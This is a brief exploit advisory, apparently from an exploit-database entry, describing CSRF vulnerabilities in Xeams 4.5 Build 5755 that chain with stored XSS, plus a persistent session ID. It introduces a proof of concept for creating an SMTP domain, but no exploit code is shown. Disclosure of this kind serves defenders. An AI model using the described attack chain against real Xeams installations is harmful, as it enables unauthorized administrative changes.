# EXPLOIT DESCRIPTION #
Xeams 4.5 Build 5755 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to create a new SMTP domain in the application, and combines it with one of the stored XSS vulnerabilities.
